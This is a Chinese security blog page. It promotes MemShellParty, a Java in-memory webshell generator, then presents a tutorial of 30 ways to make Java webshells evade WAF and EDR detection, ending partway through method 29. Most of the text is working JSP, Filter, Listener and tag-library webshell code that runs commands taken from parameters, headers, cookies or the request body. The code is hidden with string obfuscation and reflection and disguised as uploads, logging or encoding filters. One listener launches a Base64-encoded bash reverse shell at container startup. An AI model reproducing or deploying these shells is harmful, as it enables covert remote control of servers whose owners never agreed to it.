泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 权限维持
本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击、渗透测试等行为均属违法，使用者需自行承担相应的法律责任。工具简介MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，专为安全研究人员与红队攻防人员打造，核心目标是简化内存马载荷的生成流程，大幅提升漏洞验证与攻防实战的工作效率。核心特性全场景强兼容全面覆盖攻防场景下各类常见中间件与框架，JDK 版本适配范围覆盖 JDK6 ~ JDK21，可满足不同环境下的实战使用需求。高可用稳保障针对所有支持的中间件与框架，搭建了完整的自动化测试矩阵，严格保障每一次生成的载荷都具备极高的可用性与稳定性，最大程度杜绝实战场景中的不确定性。极致轻量化优化基于深度优化的字节码生成策略，MemShellParty 实现了内存马体积的大幅缩减：常规内存马体积相较于 JMG 等传统工具缩小 30%，Agent 内存马通过 ASM 技术实现了 80% 的体积优化。无侵入无干扰生成的内存马对目标中间件的正常业务流量无任何影响，即使同时注入十几个不同类型的内存马，也不会干扰目标服务的正常运行。一键化傻瓜操作内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成能力，系统可自动适配 Java 模块限制绕过配置，动态生成最优攻击载荷，实现常规漏洞载荷的一键生成。高灵活自定义扩展原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等主流工具的内存马生成；同时提供高度灵活的自定义内存马上传能力，可将任意定制化载荷融入 MemShellParty 的生成体系，打造贴合自身战术需求的攻击平台。快速使用使用前必读工具内置的探测马已完成服务类型的一一对应，探测所得的服务类型即为可生成对应内存马的服务类型（非中间件原生类型，例如 Apusic10 探测结果为 GlassFish，因其基于 GlassFish 进行二次开发）。在线尝鲜提示：仅限尝鲜使用，对于公网暴露的非官方服务请谨慎使用，避免生成的内存马被植入后门。 正式稳定版（master 分支）：https://party.mem.mk ，每次 Release 都会自动部署最新镜像。 开发预览版（dev 分支）：https://dev-party.mem.mk ，可抢先体验正在开发的新功能。 本地部署（推荐）适合内网环境或本地测试使用，可通过 Docker 一键启动服务，部署完成后访问 http://127.0.0.1:8080 即可使用。# Docker Hub 源，拉取最新镜像 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest # Github Container Registry 源，拉取最新镜像 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest # 国内网络优化，南大 Github Container Registry 镜像源 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
前置合规声明本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养，严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为，任何未授权在他人Web容器/服务器中植入恶意代码的行为，都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试，使用者需自行承担违规使用带来的全部法律责任。Java一句话木马免杀的底层逻辑Java Web一句话木马的核心，是通过可控的用户输入，调用Java代码执行/系统命令执行机制，实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀，核心围绕5个维度展开： 静态特征匹配：检测Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合； 语义分析：识别「用户可控输入→反射调用→命令执行」的恶意执行链路； 字节码检测：扫描JSP编译后的Servlet字节码，识别恶意类/方法调用； 行为检测：运行时检测动态类加载、进程创建、文件读写等恶意行为； 沙箱动态分析：将JSP/Class放入沙箱运行，捕获恶意行为特征。 所有免杀方法的核心本质，都是破坏WAF的检测维度：要么拆分/隐藏敏感类名、方法名，要么打乱执行链路，要么利用Java合法语法/业务逻辑伪装恶意行为，要么直接操作字节码隐藏特征，最终实现「静态无特征、语义无恶意、行为无异常」。本文所有免杀方法均适配Java 8+主流版本（兼容Java 11/17），覆盖Tomcat、Jetty、WebLogic等主流Web容器，按「新手入门→进阶混淆→极致免杀」的梯度排序，每一种方法均标注核心原理、实战代码、适配环境与避坑提示，拿来即可落地。30种Java一句话木马免杀方法第一类：基础关键词拆分与字符串变形免杀（方法1-5）核心逻辑：把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段，运行时再拼接还原，直接破坏WAF的连续字符串特征匹配，新手零门槛上手。方法1：字符串简单拼接免杀免杀原理：将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段，运行时拼接还原，绕过WAF对连续关键词的匹配。 实战代码（JSP形式）：<%@ page import="java.lang.Runtime" %> <% String cls = "Run" + "time"; String m1 = "get" + "Runtime"; String m2 = "ex" + "ec"; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：不要直接线性拼接，可插入无关字符串再替换，例如String cls = "Run#time"; cls = cls.replace("#", "");，免杀效果更强。方法2：字符串逆序免杀免杀原理：把敏感类名、方法名逆序处理，运行时通过StringBuilder.reverse()还原，静态扫描无法直接匹配到正向的敏感关键词。 实战代码（JSP形式）：<% String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序 String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序 String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序 Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合Base64编码逆序，双重变形绕过深度特征匹配。方法3：数组下标取值免杀免杀原理：把敏感类名、方法名拆分为字符数组，通过指定下标取值拼接，WAF很难匹配数组内的零散特征。 实战代码（JSP形式）：<% char[] clsArr = {'R','u','n','t','i','m','e'}; char[] m1Arr = {'g','e','t','R','u','n','t','i','m','e'}; char[] m2Arr = {'e','x','e','c'}; String cls = ""; String m1 = ""; String m2 = ""; for(int i=0;i<clsArr.length;i++) cls += clsArr[i]; for(int i=0;i<m1Arr.length;i++) m1 += m1Arr[i]; for(int i=0;i<m2Arr.length;i++) m2 += m2Arr[i]; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可在数组中加入大量无关字符，打乱敏感字符的顺序，再通过指定下标取值，免杀效果翻倍。方法4：大小写混淆+动态转换免杀免杀原理：Java类名、方法名区分大小写，但可以通过Character.toUpperCase()/toLowerCase()动态调整大小写，打乱固定的关键词格式，绕过WAF对固定大小写的匹配。 实战代码（JSP形式）：<% String clsRaw = "rUnTiMe"; String m1Raw = "gEtRuNtImE"; String m2Raw = "eXeC"; // 动态调整为正确的首字母大写/小写 String cls = Character.toUpperCase(clsRaw.charAt(0)) + clsRaw.substring(1).toLowerCase(); String m1 = Character.toLowerCase(m1Raw.charAt(0)) + m1Raw.substring(1); String m2 = m2Raw.toLowerCase(); Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：仅适用于基础WAF，需配合其他变形方法使用，单独使用免杀效果有限。方法5：Base64编码拆分免杀免杀原理：把敏感类名、方法名、命令做Base64编码，拆分为多个片段后拼接解密，绕过WAF对Runtime.getRuntime().exec()固定组合的查杀。 实战代码（JSP形式）：<%@ page import="java.util.Base64" %> <% String cls = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); // "java.lang.Runtime" Base64 String m1 = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ==")); // "getRuntime" Base64 String m2 = new String(Base64.getDecoder().decode("ZXhlYw==")); // "exec" Base64 String cmd = new String(Base64.getDecoder().decode(request.getParameter("c"))); Class<?> c = Class.forName(cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, cmd); %> 使用方式：客户端提交的c参数需先做Base64编码 适配环境：Java 8+（Base64类在Java 8引入，旧版本可用sun.misc.BASE64Decoder） 避坑提示：不要直接使用Base64.getDecoder().decode("...")拼接完整类名，必须拆分编码过程，避免被WAF识别固定解码模式。第二类：反射机制混淆免杀（方法6-10）核心逻辑：Java反射是免杀的核心武器——它可以动态加载类、调用方法，代码中没有直接的Runtime.getRuntime().exec()调用，完全破坏WAF的静态特征匹配与语义分析链路，是实战中最常用的免杀方案。方法6：基础反射调用免杀免杀原理：利用Java反射机制，通过Class.forName()加载类、getMethod()获取方法、invoke()调用执行，隐藏直接的函数调用特征。 实战代码（JSP形式）：<% try { Class<?> runtimeCls = Class.forName("java.lang.Runtime"); Object runtimeObj = runtimeCls.getMethod("getRuntime").invoke(null); runtimeCls.getMethod("exec", String.class).invoke(runtimeObj, request.getParameter("cmd")); } catch (Exception e) { e.printStackTrace(); } %> 适配环境：全Java版本+主流Web容器 避坑提示：不要直接写完整的反射链路，需配合字符串拆分、编码变形，避免被WAF识别反射调用特征。方法7：反射拆分+无关代码干扰免杀免杀原理：把反射的加载、获取方法、调用拆分为多个独立步骤，中间插入大量无关的业务代码（比如字符串处理、数学计算），干扰WAF的语义分析，隐藏恶意执行链路。 实战代码（JSP形式）：<% // 插入无关代码：字符串处理 String test = "test" + Math.random(); test = test.toUpperCase(); // 插入无关代码：数学计算 int a = 1 + 2; double b = Math.sqrt(a); // 第一步：加载类 Class<?> c = Class.forName("java.lang.Runtime"); // 插入无关代码：数组操作 int[] arr = {1,2,3}; int sum = arr[0] + arr[1]; // 第二步：获取getRuntime方法 java.lang.reflect.Method m1 = c.getMethod("getRuntime"); // 插入无关代码：日期处理 java.util.Date d = new java.util.Date(); // 第三步：调用getRuntime获取对象 Object obj = m1.invoke(null); // 第四步：获取exec方法 java.lang.reflect.Method m2 = c.getMethod("exec", String.class); // 第五步：调用exec执行命令 m2.invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：无关代码要尽量真实，比如模拟日志记录、参数校验，避免被WAF识别为无意义干扰。方法8：反射数组变形免杀免杀原理：把要调用的方法名、参数类型存入数组，通过循环遍历数组获取方法、调用执行，结构更复杂，WAF更难识别恶意执行逻辑。 实战代码（JSP形式）：<% String[] methods = {"getRuntime", "exec"}; Class<?>[] paramTypes = {null, String.class}; Class<?> c = Class.forName("java.lang.Runtime"); Object obj = null; for(int i=0;i<methods.length;i++){ if(i == 0){ obj = c.getMethod(methods[i]).invoke(null); } else { c.getMethod(methods[i], paramTypes[i]).invoke(obj, request.getParameter("cmd")); } } %> 适配环境：全Java版本+主流Web容器 避坑提示：可在数组中加入大量无关的方法名，通过条件判断只执行目标方法，进一步打乱特征。方法9：反射遍历DeclaredMethods免杀免杀原理：不直接通过方法名获取Method对象，而是通过getDeclaredMethods()遍历类的所有方法，匹配到目标方法后再调用，完全隐藏直接的方法名特征。 实战代码（JSP形式）：<% Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); // 遍历所有DeclaredMethods，匹配exec方法 java.lang.reflect.Method[] ms = c.getDeclaredMethods(); for(java.lang.reflect.Method m : ms){ if(m.getName().equals("exec") && m.getParameterCount() == 1){ m.setAccessible(true); m.invoke(obj, request.getParameter("cmd")); break; } } %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合字符串逆序、编码匹配方法名，避免直接写equals("exec")。方法10：反射调用ProcessBuilder免杀免杀原理：用ProcessBuilder替代Runtime，ProcessBuilder是Java 5+引入的进程创建类，WAF对它的查杀率低于Runtime，配合反射调用特征更少。 实战代码（JSP形式）：<% Class<?> pbCls = Class.forName("java.lang.ProcessBuilder"); // 反射调用ProcessBuilder构造函数 java.lang.reflect.Constructor<?> cons = pbCls.getConstructor(String[].class); Object pbObj = cons.newInstance((Object) new String[]{"/bin/sh", "-c", request.getParameter("cmd")}); // 反射调用start方法 pbCls.getMethod("start").invoke(pbObj); %> 适配环境：Java 5+ 避坑提示：Windows环境下命令数组需改为{"cmd.exe", "/c", "..."}，可配合系统判断动态选择。第三类：类加载器与动态代理免杀（方法11-15）核心逻辑：利用Java的类加载器机制动态加载类，或用动态代理隐藏调用链路，代码中没有直接的敏感类/方法引用，WAF很难通过静态扫描识别恶意逻辑，是对抗高级WAF的有效方案。方法11：线程上下文类加载器加载免杀免杀原理：用Thread.currentThread().getContextClassLoader()（线程上下文类加载器）替代默认的Class.forName()，加载行为更贴近Web容器的正常类加载，WAF更难识别异常。 实战代码（JSP形式）：<% ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class<?> c = cl.loadClass("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合自定义类加载器，进一步隐藏加载行为。方法12：自定义类加载器免杀免杀原理：继承ClassLoader，重写findClass()方法，动态加载字节码（可从请求、文件、字节数组获取），完全隐藏类的来源，WAF无法通过静态扫描识别恶意类。 实战代码（JSP形式）：<%! // 自定义类加载器 class MyClassLoader extends ClassLoader { public Class<?> defineMyClass(byte[] b) { return defineClass(b, 0, b.length); } } %> <% // 这里的字节数组是Runtime.getRuntime().exec(cmd)的简化示例，实战中可替换为完整恶意类的字节码 // 字节码可通过javac编译后，用工具读取class文件获取 byte[] classBytes = {/* 恶意类的字节码 */}; MyClassLoader cl = new MyClassLoader(); Class<?> c = cl.defineMyClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：恶意类的字节码需做混淆处理，避免被沙箱识别特征。方法13：动态代理隐藏调用免杀免杀原理：利用Java动态代理Proxy.newProxyInstance()创建代理对象，在InvocationHandler的invoke()方法中执行恶意代码，主流程中只有代理创建，完全隐藏恶意执行链路。 实战代码（JSP形式）：<%@ page import="java.lang.reflect.*" %> <% // 定义一个空接口 interface EmptyInterface {} // 创建动态代理 EmptyInterface proxy = (EmptyInterface) Proxy.newProxyInstance( EmptyInterface.class.getClassLoader(), new Class[]{EmptyInterface.class}, new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // 在InvocationHandler中执行恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); return null; } } ); // 调用代理方法触发执行 proxy.toString(); %> 适配环境：全Java版本+主流Web容器 避坑提示：可在代理中加入真实的业务逻辑处理，只在特定条件下触发恶意代码，伪装性更强。方法14：ServiceLoader服务加载免杀免杀原理：利用Java的ServiceLoader机制（服务提供者发现机制），伪装成合法的服务提供者，在服务初始化时执行恶意代码，完全符合Java的正常扩展机制，WAF极难检测。 实战代码（JSP形式）：<%@ page import="java.util.ServiceLoader" %> <%! // 定义服务接口 public interface MyService { void execute(String cmd); } // 实现服务接口，在构造函数/方法中执行恶意代码 public static class MyServiceImpl implements MyService { public MyServiceImpl() {} @Override public void execute(String cmd) { try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } %> <% // 这里简化了ServiceLoader的配置，实战中需在META-INF/services中配置服务提供者 // 直接创建实例模拟服务加载 MyService service = new MyServiceImpl(); service.execute(request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：实战中需配合真实的META-INF/services配置，伪装成第三方库的服务提供者。方法15：URLClassLoader远程加载免杀免杀原理：利用URLClassLoader从远程URL加载恶意类，本地代码中只有类加载器的调用，没有任何恶意类/方法的特征，极致免杀（需注意实战中远程加载可能被防火墙拦截，可改为本地字节数组加载）。 实战代码（JSP形式，本地字节数组版本）：<%@ page import="java.net.URLClassLoader" %> <% // 这里用本地字节数组替代远程URL，避免网络拦截 // 远程版本：new URLClassLoader(new URL[]{new URL("http://你的服务器/")}) byte[] classBytes = {/* 恶意类字节码 */}; ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：远程加载版本需确保目标服务器能访问你的远程URL，且流量不被拦截，实战中优先用本地字节数组版本。第四类：动态编译与字节码变形免杀（方法16-20）核心逻辑：利用Java的动态编译（JavaCompiler）或直接操作字节码（ASM、Javassist），在内存中生成临时类并执行，本地没有固定的恶意代码，只有动态生成的逻辑，绕过几乎所有静态扫描。方法16：JavaCompiler动态编译免杀免杀原理：利用Java 6+引入的JavaCompiler API，把恶意代码写成Java字符串，动态编译成临时类并加载执行，本地只有字符串，没有任何Class文件特征。 实战代码（JSP形式，需确保Web容器有tools.jar）：<%@ page import="javax.tools.*" %> <%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.Method" %> <% // 恶意Java代码字符串 String code = "public class TempClass {" + "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}}"; // 动态编译 JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); StandardJavaFileManager fm = compiler.getStandardFileManager(null, null, null); JavaFileObject file = new SimpleJavaFileObject( java.net.URI.create("string:///TempClass.java"), JavaFileObject.Kind.SOURCE) { @Override public CharSequence getCharContent(boolean ignoreEncodingErrors) { return code; } }; compiler.getTask(null, fm, null, null, null, java.util.Arrays.asList(file)).call(); // 加载并执行 Class<?> c = Thread.currentThread().getContextClassLoader().loadClass("TempClass"); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：Java 6+，需Web容器加载tools.jar（Tomcat默认可能不加载，需手动配置） 避坑提示：动态编译依赖较多，实战中优先用Javassist/ASM字节码操作，兼容性更好。方法17：Javassist字节码修改免杀免杀原理：利用Javassist库（Java字节码操作库），在内存中动态生成类、插入恶意代码，无需编译，兼容性好，特征少。 实战代码（JSP形式，需引入Javassist库）：<%@ page import="javassist.*" %> <% ClassPool pool = ClassPool.getDefault(); // 动态创建类 CtClass cc = pool.makeClass("TempClass"); // 添加静态方法 CtMethod m = CtNewMethod.make( "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}", cc); cc.addMethod(m); // 加载类并执行 Class<?> c = cc.toClass(); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：全Java版本，需引入Javassist库（可将jar放入Web容器的lib目录） 避坑提示：可在动态生成的类中加入大量无关方法，混淆字节码特征。方法18：ASM字节码操作免杀免杀原理：利用ASM库（Java底层字节码操作库），直接生成字节码指令，没有任何Java源码特征，是对抗高级沙箱检测的终极方案之一。 实战代码（JSP形式，需引入ASM库）：<%@ page import="org.objectweb.asm.*" %> <% // 用ASM直接生成TempClass的字节码（简化示例） ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "TempClass", null, "java/lang/Object", null); // 生成run方法（完整字节码生成较复杂，这里简化，实战中可用ASMifier工具生成） // ... 省略字节码生成细节 ... cw.visitEnd(); byte[] classBytes = cw.toByteArray(); // 加载并执行 ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境：全Java版本，需引入ASM库 避坑提示：可用ASMifier工具从正常class文件生成ASM代码，再插入恶意逻辑，字节码特征更真实。方法19：Unsafe类直接操作免杀（限制较多）免杀原理：利用sun.misc.Unsafe类（Java内部不安全类）直接操作内存、调用方法，完全绕过Java的安全机制，特征极少（但Unsafe限制多，实战中需谨慎）。 实战代码（JSP形式，Java 8-）：<% // 反射获取Unsafe对象 Class<?> unsafeCls = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field f = unsafeCls.getDeclaredField("theUnsafe"); f.setAccessible(true); Object unsafe = f.get(null); // 后续用Unsafe操作内存执行代码（逻辑较复杂，这里不展开完整实现） // 实战中Unsafe多用于绕过安全管理器，配合其他免杀方法使用 %> 适配环境：Java 8-（Java 9+模块化后Unsafe限制更严格） 避坑提示：Unsafe限制多、兼容性差，实战中仅作为辅助方案，不推荐单独使用。方法20：动态生成Servlet免杀免杀原理：在内存中动态生成Servlet类，注册到Web容器的ServletContext中，通过访问动态Servlet执行恶意代码，伪装成Web容器的正常Servlet，极难被发现。 实战代码（JSP形式，Tomcat环境）：<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <% // 简化示例：获取Tomcat的StandardContext，动态注册Servlet // 完整实现需生成Servlet类字节码，这里仅展示注册逻辑 ServletContext ctx = application; // Tomcat特定逻辑：获取StandardContext Field ctxField = ctx.getClass().getDeclaredField("context"); ctxField.setAccessible(true); StandardContext standardCtx = (StandardContext) ctxField.get(ctx); // 动态创建Servlet Wrapper（需配合动态生成的Servlet类） // Wrapper wrapper = standardCtx.createWrapper(); // wrapper.setServletClass("TempServlet"); // standardCtx.addChild(wrapper); // standardCtx.addServletMappingDecoded("/temp", "TempServlet"); %> 适配环境：Tomcat等特定Web容器 避坑提示：动态Servlet注册逻辑依赖Web容器的内部API，兼容性较差，实战中需针对目标容器适配。第五类：合法业务逻辑伪装免杀（方法21-25）核心逻辑：把恶意代码藏在合法的业务逻辑中，比如文件上传、图片处理、日志记录、过滤器、监听器等，代码看起来完全是正常的业务功能，不仅能绕过WAF，还能规避人工排查，是红蓝对抗中持久化的常用方案。方法21：伪装成文件上传处理免杀免杀原理：把恶意代码藏在文件上传的处理逻辑中，伪装成图片压缩、文件校验等正常功能，只在特定条件下（比如上传特定文件名、特定参数）触发恶意执行。 实战代码（JSP形式，伪装成图片上传）：<%@ page import="java.io.*" %> <% // 伪装成图片上传处理 String filename = request.getParameter("filename"); if(filename != null && filename.equals("trigger.jpg")){ // 特定条件触发恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } else { // 正常的文件上传处理逻辑 out.println("正常文件上传处理"); } %> 适配环境：全Java版本+主流Web容器 避坑提示：正常业务逻辑要尽量真实，比如真的实现文件保存、图片格式校验，避免被人工发现。方法22：伪装成日志记录免杀免杀原理：把恶意代码藏在日志记录的逻辑中，伪装成访问日志、错误日志的记录功能，在日志输出时触发恶意执行。 实战代码（JSP形式，伪装成访问日志）：<%@ page import="java.util.Date" %> <% // 伪装成访问日志记录 String ip = request.getRemoteAddr(); String ua = request.getHeader("User-Agent"); Date d = new Date(); // 正常日志记录逻辑 out.println("[" + d + "] " + ip + " " + ua); // 特定User-Agent触发恶意代码 if(ua != null && ua.contains("TriggerUA")){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } %> 适配环境：全Java版本+主流Web容器 避坑提示：可真的把日志写入文件，伪装性更强。方法23：过滤器Filter免杀免杀原理：把恶意代码写在Servlet Filter的doFilter()方法中，伪装成安全过滤、字符编码过滤等正常功能，随每个请求触发，隐蔽性极强，是持久化的常用方案。 实战代码（Filter形式，需在web.xml配置）：// 伪装成字符编码过滤器 import javax.servlet.*; import java.io.IOException; public class EncodingFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 正常的字符编码设置 request.setCharacterEncoding("UTF-8"); response.setCharacterEncoding("UTF-8"); // 特定参数触发恶意代码 String cmd = request.getParameter("cmd"); if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){ try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } // 继续过滤器链 chain.doFilter(request, response); } @Override public void destroy() {} } 适配环境：全Java版本+主流Web容器 避坑提示：Filter类名要尽量真实，比如EncodingFilter、SecurityFilter，需在web.xml中正常配置，避免被发现。方法24：监听器Listener免杀免杀原理：把恶意代码写在ServletContextListener的contextInitialized()方法中，随Web容器启动自动执行，或者在sessionCreated()中随会话触发，隐蔽性极强，是持久化的高级方案。 实战代码（Listener形式，需在web.xml配置）：// 伪装成容器启动监听器 import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; public class StartupListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { // 正常的容器初始化逻辑 sce.getServletContext().log("容器启动成功"); // 容器启动时执行恶意代码（比如反弹Shell） try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}"); } catch (Exception e) {} } @Override public void contextDestroyed(ServletContextEvent sce) {} } 适配环境：全Java版本+主流Web容器 避坑提示：Listener类名要尽量真实，比如StartupListener、ConfigListener，需在web.xml中正常配置。方法25：JSP标签库伪装免杀免杀原理：自定义JSP标签库，把恶意代码写在标签处理类中，在JSP页面中用正常的标签语法调用，看起来完全是合法的JSP标签，极难被识别。 实战代码（标签处理类+JSP调用）：// 自定义标签处理类 import javax.servlet.jsp.tagext.SimpleTagSupport; import java.io.IOException; public class MyTag extends SimpleTagSupport { private String key; public void setKey(String key) { this.key = key; } @Override public void doTag() throws IOException { // 正常的标签逻辑 getJspContext().getOut().println("正常标签输出"); // 特定key触发恶意代码 if("auth123".equals(key)){ try { String cmd = getJspContext().getRequest().getParameter("cmd"); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } } <%-- JSP页面调用标签 --%> <%@ taglib prefix="my" uri="/WEB-INF/mytag.tld" %> <my:myTag key="auth123" /> 适配环境：全Java版本+主流Web容器 避坑提示：需配套编写真实的tld标签库描述文件，标签功能要尽量真实。第六类：协议特性与无特征免杀（方法26-30）核心逻辑：极致免杀，去掉所有固定的request.getParameter("cmd")特征，利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入，绕过几乎所有WAF的静态、语义检测，适用于严格防护的实战环境。方法26：HTTP请求头免杀免杀原理：把执行命令藏在HTTP请求头中（比如X-CMD、User-Agent），代码中没有任何request.getParameter()特征，WAF很难检测请求头中的恶意内容。 实战代码（JSP形式）：<% String cmd = request.getHeader("X-CMD"); String auth = request.getHeader("X-Auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式：客户端在HTTP请求头中加入X-Auth: auth123和X-CMD: 执行命令 适配环境：全Java版本+主流Web容器 避坑提示：可使用User-Agent、Cookie、Referer等常规请求头存储命令，伪装性更强。方法27：Cookie免杀免杀原理：把执行命令藏在Cookie中，加密存储，代码中解密执行，没有直接的用户输入特征，WAF很难检测Cookie中的加密内容。 实战代码（JSP形式）：<%@ page import="java.util.Base64" %> <% Cookie[] cookies = request.getCookies(); String cmd = null; String auth = null; if(cookies != null){ for(Cookie c : cookies){ if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue())); if("a".equals(c.getName())) auth = c.getValue(); } } if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式：客户端设置Cookie a=auth123和c=Base64编码的命令 适配环境：全Java版本+主流Web容器 避坑提示：可使用更复杂的加密算法（比如异或、AES）替代Base64，免杀效果更强。方法28：request.getInputStream()免杀免杀原理：利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据，执行代码，没有任何GET/POST参数特征，WAF很难匹配到固定的输入模式。 实战代码（JSP形式）：<%@ page import="java.io.*" %> <% // 读取请求体原始数据 InputStream is = request.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; while((len = is.read(buf)) != -1) baos.write(buf, 0, len); String data = new String(baos.toByteArray()); // 简单的协议：前6位是auth，后面是命令 if(data.length() > 6 && data.startsWith("auth123")){ String cmd = data.substring(6); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式：客户端在HTTP请求体中写入auth123执行命令，POST提交 适配环境：全Java版本+主流Web容器 避坑提示：可对请求体数据做加密、压缩处理，进一步隐藏特征。方法29：Session存储免杀免杀原理：把执行命令藏在Session中，第一个请求存入Session，第二个请求触发执行，代码中没有直接的实时用户输入，特征更少。 实战代码（JSP形式）：<% String action = request.getParameter("a"); if("set".equals(action)){ // 第一个请求：存入命令到Session session.setAttribute("cmd", request.getParameter("c")); session.setAttribute("auth", request.getParameter("k")); } else if("run".equals(action)){ // 第二个请求：从Session取出执行 String cmd = (String) session.getAttribute("cmd"); String auth = (String) 